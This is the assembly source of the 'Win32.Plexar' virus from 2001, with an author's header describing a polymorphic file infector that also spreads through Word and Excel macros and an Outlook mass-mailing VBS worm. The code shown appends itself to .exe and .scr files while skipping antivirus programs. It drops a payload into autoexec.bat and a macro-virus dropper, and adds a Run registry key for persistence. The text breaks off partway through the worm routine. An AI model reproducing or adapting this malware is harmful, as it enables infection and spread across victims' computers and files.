; ÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ ; Ä< Win32.Plexar >Ä ; Designed by LiteSys in Venezuela, South America ; ; PE/DOC/XLS/OUTLOOK Multithreaded Polymorphic Direct Action infector. ; ; Welcome to Plexar, my latest code. ; ; It infects PE files by incrementing the last section, I don't overwrite ; .reloc section, it's preferible to let it alone. In fact, this virus ; avoids infecting some AV or Win32 files that should never be infected. ; This is done by CRC32 comparation. ; ; Infects Word and Excel documents by dropping (thru VBScript) a macro ; module-infectant virus in the normal template and personal.xls that is ; capable of dropping an infected PE file to the Windows directory and then ; running it. ; ; Distributes through Electronic Mail by dropping a VBS worm capable of ; sending infected droppers to every email address in the Outlook address ; book. Sorry but I didn't have any time to code a decent MAPI worm =(. ; ; The Poly engine is another lame table-driven engine written by me =), no ; anti-aver intentions were the reason to write that poly engine, just to ; conceal the code a little. So I think it doesn't desire an explanation ; because the garbage is very lame. ; ; It runs the different routines (word infection, vbs worm, direct action) ; in different threads. As I always said, I don't optimize my code too much. ; ; The payload is very funny and if you're from Venezuela I hope you ; appreciate it. Consists in dropping a simple com file that displays ; some silly stuff in spanish, it runs on autoexec.bat but won't display ; the message until the following rule is complied (this is a very ; kewl idea I learnt from Byway ;D): ; ; If Month <= 7: Day = Month^2 / 3 + 4 ; If Month >= 8: Day = Month^2 / 5 - 4 ; ; So the payload will run on every month (as a coincidence, the formula ; pointed to December 24th :P). It's not destructive so don't blame me. ; ; This virus has lots of bugs, i've corrected many but still there are a ; lot. It was tested under Win95 (4.10.1111), Win98 (4.10.1998), WinME and ; WinNT (4.0/SP4), the virus worked perfectly under those versions. I don't ; know about Win98 SE and Win2K, since I don't have them installed, I have ; the CDs here but i'm a lazy ass and my HD space is totally phuken. ; ; Virus Size = 12kb. Code not commented. Nor even AVP or Norton (with ; their "high heuristic" bloodhound shit) flagged the infected PE baits, ; except from Norton, which flagged the VBS worm. ; ; If you need to contact me you can use both mail addresses: litesys@monte.as ; or liteno2@softhome.net. Rembember, for decent stuff. ; ; Patria o Muerte: Venceremos. ; LiteSys. ; Venezuela, Julio/Agosto - (c) 2001 ; ÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ .586 .MODEL FLAT, STDCALL INCLUDE C:\TOOLS\TASM\INCLUDE\WIN32API.INC INCLUDE C:\TOOLS\TASM\INCLUDE\WINDOWS.INC EXTRN ExitProcess:PROC EXTRN MessageBoxExA:PROC .DATA DEBUG EQU FALSE OFS EQU <OFFSET [EBP]> BY EQU <BYTE PTR [EBP]> WO EQU <WORD PTR [EBP]> DWO EQU <DWORD PTR [EBP]> RDTSC EQU <DW 310Fh> APICALL MACRO APIz CALL DWORD PTR [APIz + EBP] ENDM Numero_Paginas EQU 32h K32_W9X EQU 0BFF70000h GPA_W9X EQU 0BFF76DACh Virus_Tama¤o EQU (Termina_Plexar - Empieza_Plexar) Titulo DB "Plexar." DB Virus_Tama¤o / 10000 MOD 10 + 30h DB Virus_Tama¤o / 01000 MOD 10 + 30h DB Virus_Tama¤o / 00100 MOD 10 + 30h DB Virus_Tama¤o / 00010 MOD 10 + 30h DB Virus_Tama¤o / 00001 MOD 10 + 30h DB 00h Mensaje DB "Plexar (c) 2001 LiteSys " DB "-- Activado." DB 00h REG_SZ EQU <1> HKEY_LOCAL_MACHINE EQU <80000002h> .CODE Empieza_Plexar: CALL @Delta @Delta: POP EAX XCHG EBP, EAX SUB EBP, OFFSET @Delta JMP @@1 DB 00h, 00h, "[PLEXAR]", 00h, 00h @@1: CALL @SEH_1 MOV ESP, DWORD PTR [ESP+8h] JMP @FueraHost @SEH_1: XOR EAX, EAX PUSH DWORD PTR FS:[EAX] MOV FS:[EAX], ESP MOV EDI, DWORD PTR [ESP+8h] CALL Busca_K32 CALL Busca_GPA LEA ESI, OFS [CreateFileA] LEA EDI, OFS [APIs_K32] MOV EBX, DWO [KERNEL32] CALL Busca_APIs LEA EDX, OFS [RewtDir] PUSH EDX PUSH MAX_PATH APICALL GetCurrentDirectoryA OR EAX, EAX JZ @FueraHost IF DEBUG PUSH EBP CALL Directa PUSH EBP CALL Worm_VBS PUSH EBP CALL Infecta_Word JMP @FueraHost ELSE CALL Thread ENDIF CALL Er_Pailon @FueraHost: XOR ECX, ECX POP DWORD PTR FS:[ECX] POP ECX PUSH 12345678h ORG $-4 HostBack DD OFFSET Mentira RET ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ ; El Thread Principal, carga los otros threads. Thread PROC PUSHAD AND BY [Listo_Directa], 00h XOR EAX, EAX LEA EBX, OFS [Thread_Directa] PUSH EBX PUSH EAX PUSH EBP LEA EBX, OFS [Directa] PUSH EBX PUSH EAX PUSH EAX APICALL CreateThread MOV DWO [Thread_Directa], EAX OR EAX, EAX JZ @FinThread PUSH 02h PUSH EAX APICALL SetThreadPriority @RevDirect: PUSH -1 PUSH DWO [Thread_Directa] APICALL WaitForSingleObject CMP BY [Listo_Directa], 01h JNZ @RevDirect XOR EAX, EAX LEA EBX, OFS [Thread_WormVBS] PUSH EBX PUSH EAX PUSH EBP LEA EBX, OFS [Worm_VBS] PUSH EBX PUSH EAX PUSH EAX APICALL CreateThread MOV DWO [Thread_WormVBS], EAX OR EAX, EAX JZ @FinThread PUSH 02h PUSH EAX APICALL SetThreadPriority XOR EAX, EAX LEA EBX, OFS [Thread_IWord] PUSH EBX PUSH EAX PUSH EBP LEA EBX, OFS [Infecta_Word] PUSH EBX PUSH EAX PUSH EAX APICALL CreateThread MOV DWO [Thread_IWord], EAX OR EAX, EAX JZ @FinThread PUSH 02h PUSH EAX APICALL SetThreadPriority PUSH -1 PUSH TRUE LEA EAX, OFS [Thread_WormVBS] PUSH EAX PUSH 02h APICALL WaitForMultipleObjects @FinThread: POPAD RET Thread ENDP ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ ; Payload. Er_Pailon PROC PUSHAD CDQ PUSH EDX PUSH FILE_ATTRIBUTE_NORMAL PUSH CREATE_NEW PUSH EDX PUSH EDX PUSH GENERIC_WRITE LEA EAX, OFS [CocoFrio] PUSH EAX APICALL CreateFileA MOV DWO [PFHandle], EAX INC EAX JZ @P_Fin DEC EAX XCHG EBX, EAX XOR EDX, EDX PUSH EDX LEA EAX, OFS [PTemporal] PUSH EAX PUSH Largo_PProg LEA EAX, OFS [Payload_Prog] PUSH EAX PUSH EBX APICALL WriteFile OR EAX, EAX JZ @P_Fin PUSH DWO [PFHandle] APICALL CloseHandle CDQ PUSH EDX PUSH FILE_ATTRIBUTE_NORMAL PUSH OPEN_EXISTING PUSH EDX PUSH EDX PUSH GENERIC_WRITE LEA EAX, OFS [AutoExec] PUSH EAX APICALL CreateFileA MOV DWO [PFHandle], EAX INC EAX JZ @P_Fin DEC EAX CDQ PUSH 00000002h PUSH EDX PUSH EDX PUSH EAX APICALL SetFilePointer CDQ PUSH EDX LEA EAX, OFS [PTemporal] PUSH EAX PUSH Largo_CocoFrio-1 LEA EAX, OFS [CocoFrio] PUSH EAX PUSH DWO [PFHandle] APICALL WriteFile OR EAX, EAX JZ @P_Fin PUSH DWO [PFHandle] APICALL CloseHandle @P_Fin: POPAD RET Er_Pailon ENDP ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ ; Proceso para buscar la base de KERNEL32 Busca_K32 PROC AND EDI, 0FFFF0000h PUSH Numero_Paginas POP ECX @Compara_K32: PUSH EDI MOV BX, WORD PTR [EDI] OR BX, 03D5Bh ; 5A4D || 3D5B == 7F5F SUB BX, 07F5Fh JNZ @Incrementa_K32 ADD EDI, [EDI+3Ch] MOV BX, WORD PTR [EDI] ; 4550 && C443 == 4440 AND BX, 0C443h XOR BX, 04440h JE @EnK32 @Incrementa_K32: POP EDI SUB EDI, 10000h LOOP @Compara_K32 PUSH K32_W9X @EnK32: POP DWO [KERNEL32] RET Busca_K32 ENDP ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ DB 5 DUP (90h) ; Proceso para buscar a GetProcAddress Busca_GPA PROC MOV EBX, DWO [KERNEL32] MOV EDI, EBX ADD EDI, DWORD PTR [EDI+3Ch] MOV EDI, DWORD PTR [EDI+78h] ADD EDI, EBX MOV DWO [Exports], EDI MOV ECX, DWORD PTR [EDI+18h] DEC ECX MOV EDI, DWORD PTR [EDI+20h] ADD EDI, EBX XOR EAX, EAX @BGPA_1: MOV ESI, DWORD PTR [EDI] ADD ESI, EBX PUSH EDI PUSH l_GetProcAddress POP EDI PUSHAD CALL CRC32 CMP EAX, CRC32_GetProcAddress POPAD POP EDI JE @BGPA_2 INC EAX ADD EDI, 4h LOOP @BGPA_1 PUSH GPA_W9X JMP @BGPA_3 @BGPA_2: MOV ESI, DWO [Exports] ADD EAX, EAX MOV EDI, DWORD PTR [ESI+24h] ADD EDI, EBX ADD EDI, EAX MOVZX EAX, WORD PTR [EDI] IMUL EAX, 4h MOV EDI, DWORD PTR [ESI+1Ch] ADD EDI, EBX ADD EDI, EAX MOV EAX, DWORD PTR [EDI] ADD EAX, EBX PUSH EAX @BGPA_3: POP DWO [GetProcAddress] RET Busca_GPA ENDP ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ ; ESI -> Donde Guardar las APIs ; EDI -> Cadenas de APIs ; EBX -> Modulo ; Proceso para buscar las APIs Busca_APIs PROC PUSHAD MOV DWO [Guardalo], ESI XCHG EDI, ESI @BA1: LEA EDI, OFS [TempAPI] @BA2: CMP BYTE PTR [ESI], 00h JE @BA4 LODSB CMP AL, 0Eh JA @BA3 XOR ECX, ECX XCHG CL, AL PUSH ESI LEA ESI, OFS [PackedAPIs] @BA5: INC ESI CMP BYTE PTR [ESI], 00h JNZ @BA5 LOOP @BA5 INC ESI @BA6: MOVSB CMP BYTE PTR [ESI], 00h JNZ @BA6 POP ESI JMP @BA2 @BA3: STOSB JMP @BA2 @BA4: XOR AL, AL STOSB LEA EAX, OFS [TempAPI] PUSH EAX PUSH EBX CALL [GetProcAddress+EBP] NOP PUSH ESI MOV ESI, 12345678h ORG $-4 Guardalo DD 00000000h MOV DWORD PTR [ESI], EAX ADD DWO [Guardalo], 00000004h POP ESI INC ESI CMP BYTE PTR [ESI], 0FFh JNZ @BA1 @OA7: POPAD RET Busca_APIs ENDP ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ ; Accion directa. Directa PROC Pascal DeltaOfs:DWORD PUSHAD MOV EBP, DeltaOfs CALL @SEH_2 MOV ESP, DWORD PTR [ESP+8h] JMP @DIRF @SEH_2: XOR EAX, EAX PUSH DWORD PTR FS:[EAX] MOV FS:[EAX], ESP LEA EDX, OFS [RewtDir] PUSH EDX APICALL SetCurrentDirectoryA OR EAX, EAX JZ @DIRF @DIR1: LEA EAX, OFS [Busqueda] PUSH EAX LEA EAX, OFS [Mascara] PUSH EAX APICALL FindFirstFileA MOV DWO [BHandle], EAX INC EAX JZ @DIR2 @DIR3: LEA EDI, OFS [Busqueda.wfd_szFileName] MOV EBX, EDI PUSH EBX XOR AL, AL SCASB JNZ $-1 XCHG ESI, EDI SUB ESI, 5h OR DWORD PTR [ESI], 20202020h MOV EDI, 5h CALL CRC32 POP EBX CMP EAX, CRC_EXE ; .exe crc32 JE @Infecta_Este_Exe CMP EAX, CRC_SCR ; .scr crc32 JE @Infecta_Este_Exe @Retorna_Directa: LEA EAX, OFS [Busqueda] PUSH EAX PUSH DWO [BHandle] APICALL FindNextFileA OR EAX, EAX JNZ @DIR3 PUSH DWO [BHandle] APICALL FindClose @DIR2: LEA EAX, OFS [Puto_Puto] PUSH EAX APICALL SetCurrentDirectoryA LEA EAX, OFS [Busqueda.wfd_szFileName] PUSH EAX PUSH MAX_PATH APICALL GetCurrentDirectoryA CMP EAX, DWO [LargPP] JZ @DIRF MOV DWO [LargPP], EAX JMP @DIR1 LEA EAX, OFS [RewtDir] PUSH EAX APICALL SetCurrentDirectoryA @DIRF: XOR ECX, ECX POP DWORD PTR FS:[ECX] POP ECX IF DEBUG POPAD RET ELSE INC BY [Listo_Directa] MOV DWO [GuardaEBP], EBP POPAD MOV EBX, 12345678h ORG $-4 GuardaEBP DD 00000000h PUSH NULL CALL [EBX+ExitThread] RET ENDIF @Infecta_Este_Exe: CALL Infecta_PE JMP @Retorna_Directa Directa ENDP ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ ; Proceso para infectar un PE. ; ; EBX -> Archivo a infectar Infecta_PE PROC PUSHAD PUSH DWO [HostBack] POP DWO [Guarda_EIP] CALL @Seh_IPE MOV ESP, [ESP+8h] JMP @PEF @Seh_IPE: XOR EAX, EAX PUSH DWORD PTR FS:[EAX] MOV FS:[EAX], ESP PUSH 019d POP ECX MOV ESI, EBX LEA EDX, OFS [CRCNoInf] @CicloNo: PUSH 04h POP EDI PUSH EBX PUSH ESI PUSH EDX PUSH ECX CALL CRC32 POP ECX POP EDX POP ESI POP EBX CMP EAX, DWORD PTR [EDX] JZ @PEF ADD EDX, 4h LOOP @CicloNo PUSH 00000000h PUSH EBX APICALL SetFileAttributesA XOR EAX, EAX PUSH EAX PUSH 00000000h PUSH OPEN_EXISTING PUSH EAX PUSH EAX PUSH GENERIC_READ + GENERIC_WRITE PUSH EBX APICALL CreateFileA MOV DWO [FHandle], EAX INC EAX JZ @PEF DEC EAX PUSH NULL PUSH EAX APICALL GetFileSize MOV DWO [Tama¤o_1], EAX INC EAX JZ @PE_Close DEC EAX CMP EAX, 8192d JB @PE_Close ADD EAX, Virus_Tama¤o + 1400h MOV DWO [Tama¤o_2], EAX XOR EDX, EDX PUSH EDX PUSH EAX PUSH EDX PUSH PAGE_READWRITE PUSH EDX PUSH DWO [FHandle] APICALL CreateFileMappingA MOV DWO [MHandle], EAX OR EAX, EAX JZ @PE_Close XOR EDX, EDX PUSH DWO [Tama¤o_2] PUSH EDX PUSH EDX PUSH FILE_MAP_WRITE PUSH EAX APICALL MapViewOfFile MOV DWO [BaseMap], EAX OR EAX, EAX JZ @PE_CloseMap MOV EDI, EAX MOV BX, WORD PTR [EDI] AND BX, 3ED4h ; "ZM" = 5A4Dh ^ 3ED4h == 1444h ADD BX, BX XOR BX, 3488h JNZ @PE_UnMap MOV EBX, DWORD PTR [EDI+3Ch] ADD EBX, EDI CMP EBX, DWO [BaseMap] JB @PE_UnMap MOV EDX, DWO [BaseMap] ADD EDX, DWO [Tama¤o_1] CMP EBX, EDX JA @Pe_UnMap ADD EDI, [EDI+3Ch] MOV BX, WORD PTR [EDI] OR BX, 0AEDAh ; "EP" = 4550h | 0AEDAh == 0EFDAh SUB BX, 0EFDAh JNZ @PE_UnMap MOV ESI, EDI PUSHAD ADD ESI, 4Ch MOV EDI, 5h CALL CRC32 CMP EAX, CRC_PLXR POPAD JE @PE_UnMap MOV EAX, "rxlp" XOR 0C3E8F2A8h XOR EAX, 0C3E8F2A8h MOV DWORD PTR [EDI+4Ch], EAX ADD ESI, 18h MOVZX EAX, WORD PTR [EDI+14h] ADD ESI, EAX XOR EDX, EDX MOVZX EDX, WORD PTR [EDI+06h] DEC EDX IMUL EDX, 28h ADD ESI, EDX OR DWORD PTR [ESI+24h], 0A0000020h MOV EAX, DWORD PTR [ESI+08h] PUSH EAX ADD EAX, Virus_Tama¤o + 400h MOV DWORD PTR [ESI+08h], EAX MOV EBX, DWORD PTR [EDI+3Ch] XOR EDX, EDX DIV EBX INC EAX MUL EBX MOV DWORD PTR [ESI+10h], EAX MOV EAX, DWORD PTR [ESI+10h] ADD EAX, DWORD PTR [ESI+0Ch] MOV DWORD PTR [EDI+50h], EAX POP EDX MOV EAX, DWORD PTR [EDI+28h] ADD EAX, DWORD PTR [EDI+34h] MOV DWO [HostBack], EAX ADD EDX, DWORD PTR [ESI+0Ch] MOV DWORD PTR [EDI+28h], EDX PUSH EBP PUSH EBX INC ESP POP EBX ; \ DEC ESP ; \ PUSH EBX ; > "[LSX]" Cadena Ejecutable. POP EAX ; / POP EBP ; / MOV EDI, DWORD PTR [ESI+14h] ADD EDI, DWORD PTR [ESI+08h] ADD EDI, DWO [BaseMap] MOV ECX, Virus_Tama¤o / 4 SUB EDI, Virus_Tama¤o + 400h LEA ESI, OFS [Empieza_Plexar] CALL PXPE PUSH DWO [Tama¤o_2] POP DWO [Tama¤o_1] @PE_UnMap: XOR EAX, EAX PUSH EAX PUSH EAX PUSH DWO [Tama¤o_1] PUSH DWO [FHandle] APICALL SetFilePointer PUSH DWO [FHandle] APICALL SetEndOfFile PUSH DWO [BaseMap] APICALL UnmapViewOfFile @PE_CloseMap: PUSH DWO [MHandle] APICALL CloseHandle @PE_Close: PUSH DWO [FHandle] APICALL CloseHandle @PEF: XOR ECX, ECX POP DWORD PTR FS:[ECX] POP ECX PUSH DWO [Guarda_EIP] POP DWO [HostBack] POPAD RET Infecta_PE ENDP ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ ; Este proceso suelta en disco un archivo PE vacio. ; ; EBX -> Nombre Droppear_PE PROC PUSHAD XOR EAX, EAX PUSH EAX PUSH FILE_ATTRIBUTE_NORMAL PUSH CREATE_ALWAYS PUSH EAX PUSH EAX PUSH GENERIC_READ + GENERIC_WRITE PUSH EBX APICALL CreateFileA MOV DWO [FHandle_DPE], EAX INC EAX JZ @Fin_DPE DEC EAX XOR EBX, EBX PUSH EBX PUSH 32768d PUSH EBX PUSH PAGE_READWRITE PUSH EBX PUSH EAX APICALL CreateFileMappingA MOV DWO [MHandle_DPE], EAX OR EAX, EAX JZ @DPE_Cierra XOR EBX, EBX PUSH 32768d PUSH EBX PUSH EBX PUSH FILE_MAP_WRITE PUSH EAX APICALL MapViewOfFile MOV DWO [BaseMap_DPE], EAX OR EAX, EAX JZ @DPE_CierraMap PUSH EAX LEA EAX, OFS [Dropper] PUSH EAX CALL _aP_depack_asm ADD ESP, 08h XOR EBX, EBX PUSH EBX PUSH EBX PUSH EAX PUSH DWO [FHandle_DPE] APICALL SetFilePointer @DPE_DesMapea: PUSH DWO [BaseMap_DPE] APICALL UnmapViewOfFile @DPE_CierraMap: PUSH DWO [MHandle_DPE] APICALL CloseHandle @DPE_Cierra: PUSH DWO [FHandle_DPE] APICALL SetEndOfFile PUSH DWO [FHandle_DPE] APICALL CloseHandle POPAD RET @Fin_DPE: POPAD STC RET Droppear_PE ENDP DB 00h, 00h DB "< Virus Plexar (c) Julio/Agosto 2001 - Escrito por LiteSys >" DB 00h, 00h DB "[ Hecho en Venezuela ]" DB 00h, 00h ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ ; Proceso para soltar el virus macro de Word. Infecta_Word PROC Pascal DeltaOfs:DWORD PUSHAD MOV EBP, DeltaOfs CALL @SEH_3 MOV ESP, DWORD PTR [ESP+8h] JMP @IW_Fin @SEH_3: XOR EAX, EAX PUSH DWORD PTR FS:[EAX] MOV FS:[EAX], ESP PUSH PAGE_READWRITE PUSH MEM_COMMIT + MEM_RESERVE + MEM_TOP_DOWN PUSH MAX_PATH PUSH NULL APICALL VirtualAlloc MOV DWO [VFreeZ], EAX OR EAX, EAX JZ @IW_Fin PUSH MAX_PATH PUSH EAX APICALL GetWindowsDirectoryA OR EAX, EAX JZ @IW_Fin PUSH DWO [VFreeZ] APICALL SetCurrentDirectoryA OR EAX, EAX JZ @IW_Fin PUSH MEM_DECOMMIT PUSH MAX_PATH PUSH 12345678h ORG $-4 VFreeZ DD 00000000h APICALL VirtualFree LEA EBX, OFS [WScript_Exe] CALL @Existe_Archivo JNC @VBS_Fin LEA EBX, OFS [Raxelp_$$$] CALL @Existe_Archivo JC @IW_Fin LEA EDI, OFS [Macaco] PUSH 08h POP ECX @IW2: PUSH 25d POP EBX CALL Random ADD EAX, 65d STOSB LOOP @IW2 MOV EAX, "$$$." STOSD XOR AL, AL STOSB LEA EBX, OFS [Macaco] CALL Droppear_PE JC @IW_Fin LEA EBX, OFS [Macaco] CALL Infecta_PE XOR EAX, EAX PUSH EAX PUSH FILE_ATTRIBUTE_NORMAL PUSH OPEN_EXISTING PUSH EAX PUSH EAX PUSH GENERIC_READ + GENERIC_WRITE LEA EAX, OFS [Macaco] PUSH EAX APICALL CreateFileA MOV DWO [FHandle_IW], EAX INC EAX JZ @IW_Fin DEC EAX PUSH NULL PUSH EAX APICALL GetFileSize MOV DWO [Tama¤o_IW], EAX INC EAX JZ @IW_CierraFile XOR EAX, EAX PUSH EAX PUSH EAX PUSH EAX PUSH PAGE_READWRITE PUSH EAX PUSH DWO [FHandle_IW] APICALL CreateFileMappingA MOV DWO [MHandle], EAX OR EAX, EAX JZ @IW_CierraFile XOR EBX, EBX PUSH EBX PUSH EBX PUSH EBX PUSH FILE_MAP_READ + FILE_MAP_WRITE PUSH EAX APICALL MapViewOfFile MOV DWO [BaseMap_IW], EAX OR EAX, EAX JZ @IW_CierraMap PUSH PAGE_READWRITE PUSH MEM_COMMIT + MEM_RESERVE + MEM_TOP_DOWN MOV EAX, DWO [Tama¤o_IW] ADD EAX, EAX ADD EAX, 1000h PUSH EAX PUSH NULL APICALL VirtualAlloc MOV DWO [Memoria_IW], EAX OR EAX, EAX JZ @IW_Fin MOV ECX, DWO [Tama¤o_IW] MOV EDI, EAX MOV ESI, DWO [BaseMap_IW] @Conve: LODSB CALL @Hexa STOSW LOOP @Conve XOR EAX, EAX STOSD PUSH DWO [BaseMap_IW] APICALL UnmapViewOfFile PUSH DWO [MHandle_IW] APICALL CloseHandle PUSH DWO [FHandle_IW] APICALL CloseHandle XOR EAX, EAX PUSH EAX PUSH FILE_ATTRIBUTE_NORMAL PUSH CREATE_NEW PUSH EAX PUSH EAX PUSH GENERIC_READ + GENERIC_WRITE LEA EAX, OFS [Raxelp_$$$] PUSH EAX APICALL CreateFileA MOV DWO [FHandle_IW], EAX INC EAX JZ @IW_Fin DEC EAX XOR EBX, EBX PUSH EBX PUSH 131072d PUSH EBX PUSH PAGE_READWRITE PUSH EBX PUSH EAX APICALL CreateFileMappingA MOV DWO [MHandle_IW], EAX OR EAX, EAX JZ @IW_CierraFile XOR EBX, EBX PUSH EBX PUSH EBX PUSH EBX PUSH FILE_MAP_READ + FILE_MAP_WRITE PUSH EAX APICALL MapViewOfFile MOV DWO [BaseMap_IW], EAX OR EAX, EAX JZ @IW_CierraMap MOV EDI, EAX LEA ESI, OFS [Virus_Macro] PUSH L_Virus_Macro POP ECX REP MOVSB MOV ESI, DWO [Memoria_IW] XOR EDX, EDX XOR EAX, EAX @IW_B: MOVSB INC EDX CMP EDX, 200d JNZ @IW_D MOV AL, '"' STOSB MOV AX, 0A0Dh STOSW MOV EAX, "adoj" STOSD MOV EAX, 'j = ' STOSD MOV EAX, " ado" STOSD MOV AX, " +" STOSW MOV AL, '"' STOSB ; joda = joda + " XOR EAX, EAX XOR EDX, EDX @IW_D: CMP BYTE PTR [ESI], AL JNZ @IW_B MOV AL, '"' STOSB MOV AX, 0A0Dh STOSW LEA ESI, OFS [Virus_Macro_2] PUSH L_Virus_Macro_2 POP ECX REP MOVSB PUSH DWO [BaseMap_IW] APICALL UnmapViewOfFile PUSH DWO [MHandle_IW] APICALL CloseHandle SUB EDI, DWO [BaseMap_IW] XOR EBX, EBX PUSH EBX PUSH EBX PUSH EDI PUSH DWO [FHandle_IW] APICALL SetFilePointer PUSH DWO [FHandle_IW] APICALL SetEndOfFile PUSH DWO [FHandle_IW] APICALL CloseHandle PUSH MEM_DECOMMIT MOV EAX, DWO [Tama¤o_IW] ADD EAX, EAX ADD EAX, 1000h PUSH EAX PUSH DWO [Memoria_IW] APICALL VirtualFree XOR EAX, EAX PUSH EAX PUSH FILE_ATTRIBUTE_NORMAL PUSH CREATE_ALWAYS PUSH EAX PUSH EAX PUSH GENERIC_WRITE LEA EBX, OFS [Plxwrd_vbs] PUSH EBX APICALL CreateFileA MOV DWO [FHandle], EAX INC EAX JZ @IW_Fin DEC EAX XOR EBX, EBX PUSH EBX LEA EDX, OFS [Scriptum] PUSH EDX PUSH Largo_MVBS LEA EDX, OFS [Macro_VBS] PUSH EDX PUSH EAX APICALL WriteFile PUSH DWO [FHandle_IW] APICALL CloseHandle CALL @IW_Q DB "SHLWAPI.DLL", 00h @IW_Q: APICALL LoadLibraryA OR EAX, EAX JZ @IW_Fin CALL @IW_K DB "SHSetValueA", 00h @IW_K: PUSH EAX APICALL GetProcAddress OR EAX, EAX JZ @IW_Fin PUSH 11d LEA EBX, OFS [Plxwrd_vbs] PUSH EBX PUSH REG_SZ CALL @IW_L DB "Plexar", 00h @IW_L: CALL @IW_M DB "Software\Microsoft\Windows\CurrentVersion\Run", 00h @IW_M: PUSH HKEY_LOCAL_MACHINE CALL EAX @IW_Fin: XOR ECX, ECX POP DWORD PTR FS:[ECX] POP ECX IF DEBUG POPAD RET ELSE MOV DWO [GuardaEBP2], EBP POPAD MOV EBX, 12345678h ORG $-4 GuardaEBP2 DD 00000000h PUSH NULL CALL [EBX+ExitThread] RET ENDIF @IW_CierraMap: PUSH DWO [MHandle_IW] APICALL CloseHandle @IW_CierraFile: PUSH DWO [FHandle_IW] APICALL CloseHandle JMP @IW_Fin ; Convierte un numero a su representacion ASCII en Hex. @Hexa: PUSH ECX PUSH EDI XOR ECX, ECX MOV CL, AL PUSH ECX SHR CL, 04h LEA EDI, OFS [Tabla_Hex] INC CL @@Y: INC EDI DEC CL JNZ @@Y DEC EDI MOV AL, BYTE PTR [EDI] ; Pasa el numero exacto de la tabla POP ECX AND CL, 0Fh LEA EDI, OFS [Tabla_Hex] INC CL @@X: INC EDI DEC CL JNZ @@X DEC EDI MOV AH, BYTE PTR [EDI] ; Pasa el numero exacto de la tabla POP EDI POP ECX RET 00h Infecta_Word ENDP ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ Worm_VBS PROC Pascal DeltaOfs:DWORD PUSHAD MOV EBP, DeltaOfs CALL @SEH_4 MOV ESP, DWORD PTR [ESP+8h] JMP @VBS_Fin @SEH_4: XOR EAX, EAX PUSH DWORD PTR FS:[EAX] MOV FS:[EAX], ESP PUSH PAGE_READWRITE PUSH MEM_COMMIT + MEM_RESERVE + MEM_TOP_DOWN PUSH MAX_PATH PUSH NULL APICALL VirtualAlloc MOV DWO [VFreeX], EAX OR EAX, EAX JZ @VBS_Fin PUSH MAX_PATH PUSH EAX APICALL GetWindowsDirectoryA OR EAX, EAX JZ @VBS_Fin PUSH DWO [VFreeX] APICALL SetCurrentDirectoryA OR EAX, EAX JZ @VBS_Fin PUSH MEM_DECOMMIT PUSH MAX_PATH PUSH 12345678h ORG $-4 VFreeX DD 00000000h APICALL VirtualFree LEA EBX, OFS [WScript_Exe] CALL @Existe_Archivo JNC @VBS_Fin LEA EBX, OFS [Raxelp_vbs] CALL @Existe_Archivo JC @VBS_Fin PUSH 10d POP EBX CALL Random XCHG ECX, EAX LEA EDI, OFS [Nombres_Varios] INC ECX @VBS1: XOR AL, AL SCASB JNZ @VBS1 LOOP @VBS1 PUSH EDI 